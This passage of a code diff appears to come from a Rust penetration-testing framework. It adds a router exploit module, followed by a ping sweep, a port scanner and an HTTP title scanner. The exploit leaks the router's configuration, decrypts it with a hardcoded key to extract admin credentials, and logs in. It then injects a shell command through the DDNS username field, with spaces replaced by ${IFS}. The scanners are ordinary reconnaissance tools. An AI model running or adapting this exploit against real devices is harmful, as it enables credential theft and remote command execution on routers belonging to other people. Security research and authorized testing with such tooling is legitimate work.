+         Host: {}:{}\r\n\
+         Content-Type: multipart/form-data; boundary={}\r\n\
+         Content-Length: {}\r\n\
+         Connection: close\r\n\r\n{}",
+        host, port, boundary, body.len(), body
+    );
+
+    conn.write_all(request.as_bytes())?;
+
+    let mut response = vec![];
+    conn.read_to_end(&mut response)?;
+    if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
+        let body = &response[start + 4..];
+        File::create("config.bin")?.write_all(body)?;
+    }
+
+    println!("[+] Config saved to config.bin");
+    Ok(())
+}
+
+/// Decrypt config and extract credentials
+fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> {
+    let mut encrypted = File::open("config.bin")?;
+    let mut data = vec![];
+    encrypted.read_to_end(&mut data)?;
+
+    let mut key16 = [0u8; 16];
+    key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]);
+
+    let decrypted = decrypt_ecb_nopad(&data, &key16)?;
+    fs::write("decrypted.xml", &decrypted)?;
+
+    let xml = fs::read_to_string("decrypted.xml")?;
+    let username = xml.split("IGD.AU2").nth(1)
+        .and_then(|s| s.split("User").nth(1))
+        .and_then(|s| s.split("val=\"").nth(1))
+        .and_then(|s| s.split('"').next())
+        .unwrap_or("unknown")
+        .to_string();
+
+    let password = xml.split("IGD.AU2").nth(1)
+        .and_then(|s| s.split("Pass").nth(1))
+        .and_then(|s| s.split("val=\"").nth(1))
+        .and_then(|s| s.split('"').next())
+        .unwrap_or("unknown")
+        .to_string();
+
+    fs::remove_file("config.bin").ok();
+    fs::remove_file("decrypted.xml").ok();
+
+    println!("[+] Decrypted credentials: {} / {}", username, password);
+    Ok((username, password))
+}
+
+/// Perform login
+async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> {
+    println!("[*] Logging in to http://{}:{}/ ...", host, port);
+    let url = format!("http://{}:{}/", host, port);
+    let page = session.get(&url).send().await?.text().await?;
+
+    let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
+        .and_then(|s| s.split('"').next())
+        .ok_or_else(|| anyhow::anyhow!("Login token not found"))?;
+
+    let params = [
+        ("Username", username),
+        ("Password", password),
+        ("frashnum", ""),
+        ("Frm_Logintoken", token),
+    ];
+
+    session.post(&url).form(&params).send().await?;
+    println!("[+] Login submitted.");
+    Ok(())
+}
+
+
+/// Logout
+async fn logout(session: &Client, host: &str, port: u16) -> Result<()> {
+    let url = format!("http://{}:{}/", host, port);
+    session.post(&url).form(&[("logout", "1")]).send().await?;
+    println!("[*] Logged out.");
+    Ok(())
+}
+
+/// Command injection payload generator
+fn command_injection(cmd: &str) -> String {
+    let inj = format!("user;{};echo", cmd);
+    inj.replace(" ", "${IFS}")
+}
+
+/// Abuse DDNS form to inject command
+async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> {
+    let url = format!(
+        "http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch",
+        host, port
+    );
+
+    let form = [
+        ("IF_ACTION", "apply"), ("Name", "dyndns"),
+        ("Server", "http://www.dyndns.com/"), ("Username", payload),
+        ("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"),
+        ("DomainName", "hostname"), ("Service", "dyndns"),
+        ("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"),
+        ("ServerPort0", "80"), ("UpdateInterval0", "86400"),
+        ("RetryInterval0", "60"), ("MaxRetries0", "3"),
+        ("Name1", "No-IP"), ("Server1", "http://www.noip.com/"),
+        ("ServerPort1", "80"), ("UpdateInterval1", "86400"),
+        ("RetryInterval1", "60"), ("MaxRetries1", "3"),
+        ("Enable", "1"), ("HostNumber", "")
+    ];
+
+    println!("[*] Sending command injection payload...");
+    session.post(&url).form(&form).send().await?;
+    println!("[+] Payload delivered.");
+    Ok(())
+}
+
+/// Exploit wrapper
+async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
+    let cookie_jar = Arc::new(Jar::default());
+    let session = Client::builder()
+        .cookie_provider(cookie_jar)
+        .danger_accept_invalid_certs(true)
+        .timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout
+        .build()?;
+
+    leak_config(host, port)?;
+    let (username, password) = decrypt_config(config_key)?;
+    login(&session, host, port, &username, &password).await?;
+    let payload = command_injection("echo hacked > /var/tmp/pwned");
+    set_ddns(&session, host, port, &payload).await?;
+    logout(&session, host, port).await?;
+    println!("[✓] Exploit complete.");
+    Ok(())
+}
+
+
+/// Dispatch entry point
+pub async fn run(target: &str) -> Result<()> {
+    let (host, port) = parse_target(target)?;
+    let config_key = b"Renjx%2$CjM";
+    match exploit(config_key, &host, port).await {
+        Ok(_) => {
+            println!("[*] Success on {}:{}", host, port);
+            Ok(())
+        }
+        Err(e) => {
+            println!("[!] Exploit failed: {}", e);
+            Err(e)
+        }
+    }
+}

src/modules/scanners/http_title_scanner.rs

@@ -0,0 +1,33 @@
+use anyhow::{Result, Context};
+use regex::Regex;
+use reqwest::Client;
+
+pub async fn run(target: &str) -> Result<()> {
+    run_interactive(target).await
+}
+
+pub async fn run_interactive(target: &str) -> Result<()> {
+    let client = Client::builder()
+        .redirect(reqwest::redirect::Policy::limited(5))
+        .build()
+        .context("Failed to build HTTP client")?;
+
+    let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
+    for scheme in ["http", "https"] {
+        let url = format!("{}://{}", scheme, target);
+        match client.get(&url).send().await {
+            Ok(resp) => {
+                let text = resp.text().await.unwrap_or_default();
+                if let Some(cap) = title_re.captures(&text) {
+                    println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
+                } else {
+                    println!("[+] {} -> <no title>", url);
+                }
+            }
+            Err(e) => {
+                println!("[-] Failed {}: {}", url, e);
+            }
+        }
+    }
+    Ok(())
+}

src/modules/scanners/mod.rs

@@ -1 +1,6 @@
 pub mod sample_scanner;
+pub mod ssdp_msearch;
+pub mod port_scanner;
+pub mod stalkroute_full_traceroute;
+pub mod http_title_scanner;
+pub mod ping_sweep;

src/modules/scanners/ping_sweep.rs

@@ -0,0 +1,540 @@
+use anyhow::{anyhow, Context, Result};
+use colored::*;
+use ipnet::IpNet;
+use std::{
+    collections::HashSet,
+    fs::File,
+    io::{self, BufRead, BufReader, Write},
+    net::{IpAddr, SocketAddr},
+    sync::{
+        atomic::{AtomicUsize, Ordering},
+        Arc,
+    },
+};
+use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
+
+#[derive(Clone, Debug)]
+struct PingConfig {
+    targets: Vec<IpNet>,
+    methods: Vec<PingMethod>,
+    concurrency: usize,
+    timeout_secs: u64,
+    verbose: bool,
+}
+
+#[derive(Clone, Debug)]
+enum PingMethod {
+    Icmp,
+    Tcp { ports: Vec<u16> },
+}
+
+impl PingMethod {
+    fn describe(&self) -> String {
+        match self {
+            PingMethod::Icmp => "ICMP".to_string(),
+            PingMethod::Tcp { ports } => {
+                if ports.len() == 1 {
+                    format!("TCP/{}", ports[0])
+                } else {
+                    format!(
+                        "TCP [{}]",
+                        ports
+                            .iter()
+                            .map(u16::to_string)
+                            .collect::<Vec<_>>()
+                            .join(",")
+                    )
+                }
+            }
+        }
+    }
+
+    fn label(&self) -> &'static str {
+        match self {
+            PingMethod::Icmp => "ICMP",
+            PingMethod::Tcp { .. } => "TCP",
+        }
+    }
+
+    async fn probe(&self, ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
+        match self {
+            PingMethod::Icmp => icmp_probe(ip, timeout).await,
+            PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
+        }
+    }
+}
+
+/// Main entry point triggered via the dispatcher
+pub async fn run(initial_target: &str) -> Result<()> {
+    let config = gather_configuration(initial_target)?;
+    execute_ping_sweep(&config).await
+}
+
+fn parse_target(input: &str) -> Result<IpNet> {
+    if let Ok(net) = input.parse::<IpNet>() {
+        return Ok(net);
+    }
+
+    if let Ok(ip) = input.parse::<IpAddr>() {
+        let prefix = match ip {
+            IpAddr::V4(_) => 32,
+            IpAddr::V6(_) => 128,
+        };
+        let cidr = format!("{}/{}", ip, prefix);
+        let net = cidr
+            .parse::<IpNet>()
+            .context("failed to convert host to /32 or /128 network")?;
+        return Ok(net);
+    }
+
+    Err(anyhow!("Invalid target '{}'. Use IP or IP/CIDR.", input))
+}
+
+fn gather_configuration(initial: &str) -> Result<PingConfig> {
+    println!("{}", "=== Ping Sweep Configuration ===".bold());
+
+    let mut nets: Vec<IpNet> = Vec::new();
+
+    let initial_trimmed = initial.trim();
+    if !initial_trimmed.is_empty() {
+        match parse_target(initial_trimmed) {
+            Ok(net) => {
+                println!(
+                    "{}",
+                    format!("[*] Loaded initial target {}", net).green()
+                );
+                nets.push(net);
+            }
+            Err(e) => {
+                eprintln!(
+                    "{}",
+                    format!("    Initial target '{}' skipped: {}", initial_trimmed, e)
+                        .yellow()
+                );
+            }
+        }
+    }
+
+    if prompt_yes_no("Add additional targets manually?", false)? {
+        loop {
+            let entry = prompt_line(
+                "Enter target (IP or CIDR, leave blank to stop): ",
+                true,
+            )?;
+            if entry.is_empty() {
+                break;
+            }
+            match parse_target(&entry) {
+                Ok(net) => {
+                    println!("{}", format!("    + {}", net).cyan());
+                    nets.push(net);
+                }
+                Err(e) => {
+                    eprintln!("{}", format!("    ! {}", e).red());
+                }
+            }
+        }
+    }
+
+    if prompt_yes_no("Load targets from file?", false)? {
+        let path = prompt_line("Path to file: ", false)?;
+        let file_targets = load_targets_from_file(&path)?;
+        if file_targets.is_empty() {
+            println!("{}", "    No targets parsed from file.".yellow());
+        } else {
+            println!(
+                "{}",
+                format!(
+                    "    Loaded {} targets from '{}'",
+                    file_targets.len(),
+                    path
+                )
+                .green()
+            );
+            nets.extend(file_targets);
+        }
+    }
+
+    if nets.is_empty() {
+        return Err(anyhow!(
+            "No valid targets supplied. Provide at least one IP or subnet."
+        ));
+    }
+
+    // Deduplicate targets
+    let mut unique: HashSet<IpNet> = HashSet::new();
+    for net in nets {
+        unique.insert(net);
+    }
+    let targets: Vec<IpNet> = unique.into_iter().collect();
+
+    let timeout_secs =
+        prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?;
+    let concurrency =
+        prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
+    let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
+
+    let methods = loop {
+        let mut methods = Vec::new();
+
+        if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? {
+            methods.push(PingMethod::Icmp);
+        }
+
+        if prompt_yes_no("Use TCP connect probes?", false)? {
+            let default_ports = "80,443";
+            let port_input =
+                prompt_with_default("TCP ports (comma separated)", default_ports)?;
+            let ports = parse_ports(&port_input)?;
+            if ports.is_empty() {
+                println!("{}", "    No valid ports provided.".yellow());
+            } else {
+                methods.push(PingMethod::Tcp { ports });
+            }
+        }
+
+        if methods.is_empty() {
+            println!("{}", "Select at least one method.".red().bold());
+            continue;
+        }
+        break methods;
+    };
+
+    println!(
+        "{}",
+        format!(
+            "\n[*] Targets: {} | Methods: {} | Concurrency: {} | Timeout: {}s",
+            targets.len(),
+            methods_summary(&methods),
+            concurrency,
+            timeout_secs
+        )
+        .bold()
+    );
+
+    Ok(PingConfig {
+        targets,
+        methods,
+        concurrency,
+        timeout_secs,
+        verbose,
+    })
+}
+
+fn load_targets_from_file(path: &str) -> Result<Vec<IpNet>> {
+    let file = File::open(path)
+        .with_context(|| format!("Failed to open target file '{}'", path))?;
+    let reader = BufReader::new(file);
+    let mut nets = Vec::new();
+
+    for (idx, line) in reader.lines().enumerate() {
+        let line = line?;
+        let mut content = line.split('#').next().unwrap_or("").trim().to_string();
+        if content.is_empty() {
+            continue;
+        }
+        content = content.replace(',', " ");
+        for token in content.split_whitespace() {
+            match parse_target(token) {
+                Ok(net) => nets.push(net),
+                Err(e) => {
+                    eprintln!(
+                        "{}",
+                        format!("    [file:{}] skipped '{}': {}", idx + 1, token, e)
+                            .yellow()
+                    );
+                }
+            }
+        }
+    }
+
+    Ok(nets)
+}
+
+fn methods_summary(methods: &[PingMethod]) -> String {
+    methods
+        .iter()
+        .map(PingMethod::describe)
+        .collect::<Vec<_>>()
+        .join(", ")
+}
+
+async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
+    let mut host_set: HashSet<IpAddr> = HashSet::new();
+    for net in &config.targets {
+        for host in net.hosts() {
+            host_set.insert(host);
+        }
+    }
+
+    if host_set.is_empty() {
+        println!("{}", "No host addresses derived from supplied targets.".yellow());
+        return Ok(());
+    }
+
+    let mut hosts: Vec<IpAddr> = host_set.into_iter().collect();
+    hosts.sort();
+
+    let total_hosts = hosts.len();
+    println!(
+        "{}",
+        format!(
+            "\n[*] Beginning sweep of {} hosts using {} method(s)...",
+            total_hosts,
+            config.methods.len()
+        )
+        .bold()
+    );
+
+    let semaphore = Arc::new(Semaphore::new(config.concurrency));
+    let methods = Arc::new(config.methods.clone());
+    let timeout = Duration::from_secs(config.timeout_secs.max(1));
+    let verbose = config.verbose;
+    let success_counter = Arc::new(AtomicUsize::new(0));
+
+    let mut tasks = Vec::new();
+    for ip in hosts {
+        let sem = semaphore.clone();
+        let methods_clone = methods.clone();
+        let success_clone = success_counter.clone();
+        tasks.push(tokio::spawn(async move {
+            let permit = match sem.acquire_owned().await {
+                Ok(p) => p,
+                Err(_) => return,
+            };
+            let ip_string = ip.to_string();
+            let mut successes = Vec::new();
+
+            for method in methods_clone.iter() {
+                match method.probe(&ip, timeout).await {
+                    Ok(mut labels) => successes.append(&mut labels),
+                    Err(err) => {
+                        if verbose {
+                            eprintln!(
+                                "{}",
+                                format!(
+                                    "[!] {} ({}) error: {}",
+                                    ip_string,
+                                    method.label(),
+                                    err
+                                )
+                                .yellow()
+                            );
+                        }
+                    }
+                }
+            }
+
+            drop(permit);
+
+            if !successes.is_empty() {
+                success_clone.fetch_add(1, Ordering::Relaxed);
+                println!(
+                    "{}",
+                    format!(
+                        "[+] Host {} is up ({})",
+                        ip_string,
+                        successes.join(", ")
+                    )
+                    .green()
+                );
+            } else if verbose {
+                println!("{}", format!("[-] Host {} is down", ip_string).dimmed());
+            }
+        }));
+    }
+
+    for task in tasks {
+        let _ = task.await;
+    }
+
+    let up_hosts = success_counter.load(Ordering::Relaxed);
+    println!(
+        "{}",
+        format!(
+            "\n[*] Sweep complete: {}/{} hosts responded.",
+            up_hosts, total_hosts
+        )
+        .bold()
+    );
+
+    Ok(())
+}
+
+async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
+    let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
+    let wait_secs = timeout.as_secs().max(1).to_string();
+    let ip_str = ip.to_string();
+
+    let result = tokio::time::timeout(
+        timeout,
+        Command::new(cmd)
+            .args(["-c", "1", "-W", &wait_secs, &ip_str])
+            .output(),
+    )
+    .await;
+
+    match result {
+        Ok(Ok(output)) => {
+            if output.status.success() {
+                Ok(vec!["ICMP".to_string()])
+            } else {
+                Ok(Vec::new())
+            }
+        }
+        Ok(Err(err)) => Err(err.into()),
+        Err(_) => Ok(Vec::new()),
+    }
+}
+
+async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
+    let mut successes = Vec::new();
+    for port in ports {
+        let socket = SocketAddr::new(*ip, *port);
+        match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
+            Ok(Ok(stream)) => {
+                successes.push(format!("TCP/{}", port));
+                drop(stream);
+            }
+            Ok(Err(_)) => {}
+            Err(_) => {}
+        }
+    }
+    Ok(successes)
+}
+
+fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
+    print!("{}", message.cyan().bold());
+    io::stdout().flush()?;
+    let mut input = String::new();
+    io::stdin().read_line(&mut input)?;
+    let trimmed = input.trim().to_string();
+    if !allow_empty && trimmed.is_empty() {
+        return Err(anyhow!("Input cannot be empty."));
+    }
+    Ok(trimmed)
+}
+
+fn prompt_with_default(message: &str, default: &str) -> Result<String> {
+    print!(
+        "{}",
+        format!("{} [{}]: ", message, default).cyan().bold()
+    );
+    io::stdout().flush()?;
+    let mut input = String::new();
+    io::stdin().read_line(&mut input)?;
+    let trimmed = input.trim();
+    if trimmed.is_empty() {
+        Ok(default.to_string())
+    } else {
+        Ok(trimmed.to_string())
+    }
+}
+
+fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
+    let default_hint = if default_yes { "Y/n" } else { "y/N" };
+    loop {
+        print!(
+            "{}",
+            format!("{} [{}]: ", message, default_hint).cyan().bold()
+        );
+        io::stdout().flush()?;
+        let mut input = String::new();
+        io::stdin().read_line(&mut input)?;
+        let trimmed = input.trim().to_lowercase();
+        match trimmed.as_str() {
+            "" => return Ok(default_yes),
+            "y" | "yes" => return Ok(true),
+            "n" | "no" => return Ok(false),
+            _ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
+        }
+    }
+}
+
+fn prompt_usize(
+    message: &str,
+    default: usize,
+    min: Option<usize>,
+    max: Option<usize>,
+) -> Result<usize> {
+    loop {
+        let response = prompt_with_default(message, &default.to_string())?;
+        match response.parse::<usize>() {
+            Ok(value) => {
+                if let Some(minimum) = min {
+                    if value < minimum {
+                        println!(
+                            "{}",
+                            format!("Value must be >= {}", minimum).yellow()
+                        );
+                        continue;
+                    }
+                }
+                if let Some(maximum) = max {
+                    if value > maximum {
+                        println!(
+                            "{}",
+                            format!("Value must be <= {}", maximum).yellow()
+                        );
+                        continue;
+                    }
+                }
+                return Ok(value);
+            }
+            Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
+        }
+    }
+}
+
+fn prompt_u64(
+    message: &str,
+    default: u64,
+    min: Option<u64>,
+    max: Option<u64>,
+) -> Result<u64> {
+    loop {
+        let response = prompt_with_default(message, &default.to_string())?;
+        match response.parse::<u64>() {
+            Ok(value) => {
+                if let Some(minimum) = min {
+                    if value < minimum {
+                        println!(
+                            "{}",
+                            format!("Value must be >= {}", minimum).yellow()
+                        );
+                        continue;
+                    }
+                }
+                if let Some(maximum) = max {
+                    if value > maximum {
+                        println!(
+                            "{}",
+                            format!("Value must be <= {}", maximum).yellow()
+                        );
+                        continue;
+                    }
+                }
+                return Ok(value);
+            }
+            Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
+        }
+    }
+}
+
+fn parse_ports(input: &str) -> Result<Vec<u16>> {
+    let mut ports = Vec::new();
+    for token in input.replace(',', " ").split_whitespace() {
+        match token.parse::<u16>() {
+            Ok(port) => ports.push(port),
+            Err(_) => {
+                println!(
+                    "{}",
+                    format!("    Skipping invalid port '{}'", token).yellow()
+                );
+            }
+        }
+    }
+    ports.sort_unstable();
+    ports.dedup();
+    Ok(ports)
+}

src/modules/scanners/port_scanner.rs

@@ -0,0 +1,593 @@
+use anyhow::{Result, anyhow};
+use colored::*;
+use std::{
+    fs::File,
+    io::{self, Write, BufWriter},
+    net::{SocketAddr, ToSocketAddrs},
+    sync::{Arc, Mutex},
+    time::Instant,
+};
+use tokio::{
+    io::{AsyncReadExt, AsyncWriteExt},
+    net::{TcpStream, UdpSocket},
+    sync::Semaphore,
+    time::{timeout, Duration},
+};
+
+#[derive(Debug, Clone)]
+pub struct ScanSettings {
+    pub concurrency: usize,
+    pub timeout_secs: u64,
+    pub show_only_open: bool,
+    pub verbose: bool,
+    pub scan_udp_enabled: bool,
+    pub output_file: String,
+    pub port_range: PortRange,
+}
+
+#[derive(Debug, Clone)]
+pub enum PortRange {
+    All,
+    Custom { start: u16, end: u16 },
+    Common,
+    Top1000,
+}
+
+impl PortRange {
+    fn get_ports(&self) -> Vec<u16> {
+        match self {
+            PortRange::All => (1..=65535).collect(),
+            PortRange::Custom { start, end } => (*start..=*end).collect(),
+            PortRange::Common => COMMON_PORTS.to_vec(),
+            PortRange::Top1000 => (1..=1000).collect(),
+        }
+    }
+}
+
+// Common ports list
+const COMMON_PORTS: &[u16] = &[
+    21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
+];
+
+// Service detection map
+fn get_service_name(port: u16) -> &'static str {
+    match port {
+        21 => "FTP",
+        22 => "SSH",
+        23 => "Telnet",
+        25 => "SMTP",
+        53 => "DNS",
+        80 => "HTTP",
+        110 => "POP3",
+        111 => "RPC",
+        135 => "MSRPC",
+        139 => "NetBIOS",
+        143 => "IMAP",
+        443 => "HTTPS",
+        445 => "SMB",
+        993 => "IMAPS",
+        995 => "POP3S",
+        1723 => "PPTP",
+        3306 => "MySQL",
+        3389 => "RDP",
+        5900 => "VNC",
+        8080 => "HTTP-Proxy",
+        _ => "",
+    }
+}
+
+/// Interactive config prompt
+pub fn prompt_settings() -> Result<ScanSettings> {
+    println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
+    
+    // Port range selection
+    println!("\n{}", "Port Range Options:".yellow());
+    println!("  1. All ports (1-65535)");
+    println!("  2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
+    println!("  3. Top 1000 ports");
+    println!("  4. Custom range");
+    
+    let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
+    let port_range = match range_choice {
+        1 | 0 => PortRange::All,
+        2 => PortRange::Common,
+        3 => PortRange::Top1000,
+        4 => {
+            let start_val: usize = prompt_usize("Start port: ")?;
+            let end_val: usize = prompt_usize("End port: ")?;
+            
+            if start_val > 65535 || start_val == 0 {
+                return Err(anyhow!("Start port must be between 1 and 65535"));
+            }
+            if end_val > 65535 || end_val == 0 {
+                return Err(anyhow!("End port must be between 1 and 65535"));
+            }
+            
+            let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
+            let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
+            
+            if start > end {
+                return Err(anyhow!("Start port must be <= end port"));
+            }
+            PortRange::Custom { start, end }
+        }
+        _ => PortRange::All,
+    };
+    
+    let ports = port_range.get_ports();
+    println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
+    
+    Ok(ScanSettings {
+        concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
+        timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
+        show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
+        verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
+        scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
+        output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
+        port_range,
+    })
+}
+
+/// Main entrypoint for interactive CLI mode
+pub async fn run_interactive(target: &str) -> Result<()> {
+    let settings = prompt_settings()?;
+    run_with_settings(
+        target,
+        settings.concurrency,
+        settings.timeout_secs,
+        settings.show_only_open,
+        settings.verbose,
+        settings.scan_udp_enabled,
+        &settings.output_file,
+        settings.port_range,
+    )
+    .await
+}
+
+pub async fn run(target: &str) -> Result<()> {
+    run_interactive(target).await
+}
+
+/// === Core Scanner Logic ===
+pub async fn run_with_settings(
+    target: &str,
+    concurrency: usize,
+    timeout_secs: u64,
+    show_only_open: bool,
+    _verbose: bool,
+    scan_udp_enabled: bool,
+    output_file: &str,
+    port_range: PortRange,
+) -> Result<()> {
+    let start_time = Instant::now();
+    let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
+    let semaphore = Arc::new(Semaphore::new(concurrency));
+    let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
+    
+    let ports = port_range.get_ports();
+    let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
+    
+    let stats = Arc::new(Mutex::new(ScanStats::new()));
+    let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
+    
+    println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
+    println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
+    writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
+    let timestamp = std::time::SystemTime::now()
+        .duration_since(std::time::UNIX_EPOCH)
+        .unwrap()
+        .as_secs();
+    writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
+
+    // TCP Scan
+    println!("{}", "\n[*] Starting TCP scan...".yellow());
+    let mut tcp_tasks = vec![];
+    
+    for port in &ports {
+        let permit = semaphore.clone().acquire_owned().await?;
+        let file = file.clone();
+        let stats = stats.clone();
+        let progress = progress.clone();
+        let ip = resolved_ip;
+        let ip_str = resolved_ip_str.clone();
+        let port = *port;
+
+        let handle = tokio::spawn(async move {
+            let _permit = permit;
+            let result = scan_tcp(&ip, port, timeout_secs).await;
+            
+            let mut stats_guard = stats.lock().unwrap();
+            let mut progress_guard = progress.lock().unwrap();
+            
+            if let Some((status, banner, service)) = result {
+                match status.as_str() {
+                    "OPEN" => {
+                        stats_guard.tcp_open += 1;
+                        let service_name = if service.is_empty() { get_service_name(port) } else { &service };
+                        let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
+                        
+                        if !show_only_open {
+                            let _ = writeln!(file.lock().unwrap(), "{}", line);
+                        }
+                        
+                        let output_line = if !banner.is_empty() {
+                            format!("{} | Banner: {}", line, banner.trim().bright_black())
+                        } else {
+                            line
+                        };
+                        
+                        let _ = writeln!(file.lock().unwrap(), "{}", output_line);
+                        println!("{}", output_line);
+                    }
+                    "CLOSED" => stats_guard.tcp_closed += 1,
+                    "TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
+                    _ => {}
+                }
+            }
+            
+            progress_guard.increment(&start_time);
+            if progress_guard.should_print() {
+                progress_guard.print_progress();
+            }
+        });
+        tcp_tasks.push(handle);
+    }
+
+    // UDP Scan
+    let mut udp_tasks = vec![];
+    if scan_udp_enabled {
+        println!("{}", "\n[*] Starting UDP scan...".yellow());
+        for port in &ports {
+            let permit = semaphore.clone().acquire_owned().await?;
+            let file = file.clone();
+            let stats = stats.clone();
+            let progress = progress.clone();
+            let ip = resolved_ip;
+            let ip_str = resolved_ip_str.clone();
+            let port = *port;
+
+            let handle = tokio::spawn(async move {
+                let _permit = permit;
+                let result = scan_udp(&ip, port, timeout_secs).await;
+                
+                let mut stats_guard = stats.lock().unwrap();
+                let mut progress_guard = progress.lock().unwrap();
+                
+                if let Some(status) = result {
+                    match status.as_str() {
+                        "OPEN" => {
+                            stats_guard.udp_open += 1;
+                            let service_name = get_service_name(port);
+                            let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
+                            
+                            if !show_only_open {
+                                let _ = writeln!(file.lock().unwrap(), "{}", line);
+                            }
+                            
+                            let _ = writeln!(file.lock().unwrap(), "{}", line);
+                            println!("{}", line);
+                        }
+                        "CLOSED" => stats_guard.udp_closed += 1,
+                        "FILTERED" => stats_guard.udp_filtered += 1,
+                        _ => {}
+                    }
+                }
+                
+                progress_guard.increment(&start_time);
+                if progress_guard.should_print() {
+                    progress_guard.print_progress();
+                }
+            });
+            udp_tasks.push(handle);
+        }
+    }
+
+    // Await all tasks
+    for task in tcp_tasks {
+        let _ = task.await;
+    }
+    for task in udp_tasks {
+        let _ = task.await;
+    }
+
+    let elapsed = start_time.elapsed();
+    let stats = stats.lock().unwrap();
+    
+    // Print summary
+    println!("\n{}", "=== Scan Summary ===".cyan().bold());
+    println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
+    println!("\n{}", "TCP Ports:".yellow());
+    println!("  {} Open: {}", "✓".green(), stats.tcp_open.to_string().green().bold());
+    println!("  {} Closed: {}", "✗".red(), stats.tcp_closed);
+    println!("  {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
+    
+    if scan_udp_enabled {
+        println!("\n{}", "UDP Ports:".yellow());
+        println!("  {} Open: {}", "✓".green(), stats.udp_open.to_string().green().bold());
+        println!("  {} Closed: {}", "✗".red(), stats.udp_closed);
+        println!("  {} Filtered: {}", "~".yellow(), stats.udp_filtered);
+    }
+    
+    println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
+    
+    // Write summary to file
+    writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
+    writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
+    writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
+    writeln!(file.lock().unwrap(), "  Open: {}", stats.tcp_open)?;
+    writeln!(file.lock().unwrap(), "  Closed: {}", stats.tcp_closed)?;
+    writeln!(file.lock().unwrap(), "  Filtered/Timeout: {}", stats.tcp_filtered)?;
+    if scan_udp_enabled {
+        writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
+        writeln!(file.lock().unwrap(), "  Open: {}", stats.udp_open)?;
+        writeln!(file.lock().unwrap(), "  Closed: {}", stats.udp_closed)?;
+        writeln!(file.lock().unwrap(), "  Filtered: {}", stats.udp_filtered)?;
+    }
+    
+    Ok(())
+}
+
+/// === TCP Port Scanner with Enhanced Banner Grabbing ===
+async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
+    let addr = SocketAddr::new(*ip, port);
+    match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
+        Ok(Ok(mut stream)) => {
+            // Try service-specific probes for better banner grabbing
+            let (banner, service) = grab_banner(&mut stream, port).await;
+            Some(("OPEN".into(), banner, service))
+        }
+        Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
+        Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
+    }
+}
+
+/// Enhanced banner grabbing with service-specific probes
+async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
+    let mut buf = [0u8; 2048];
+    
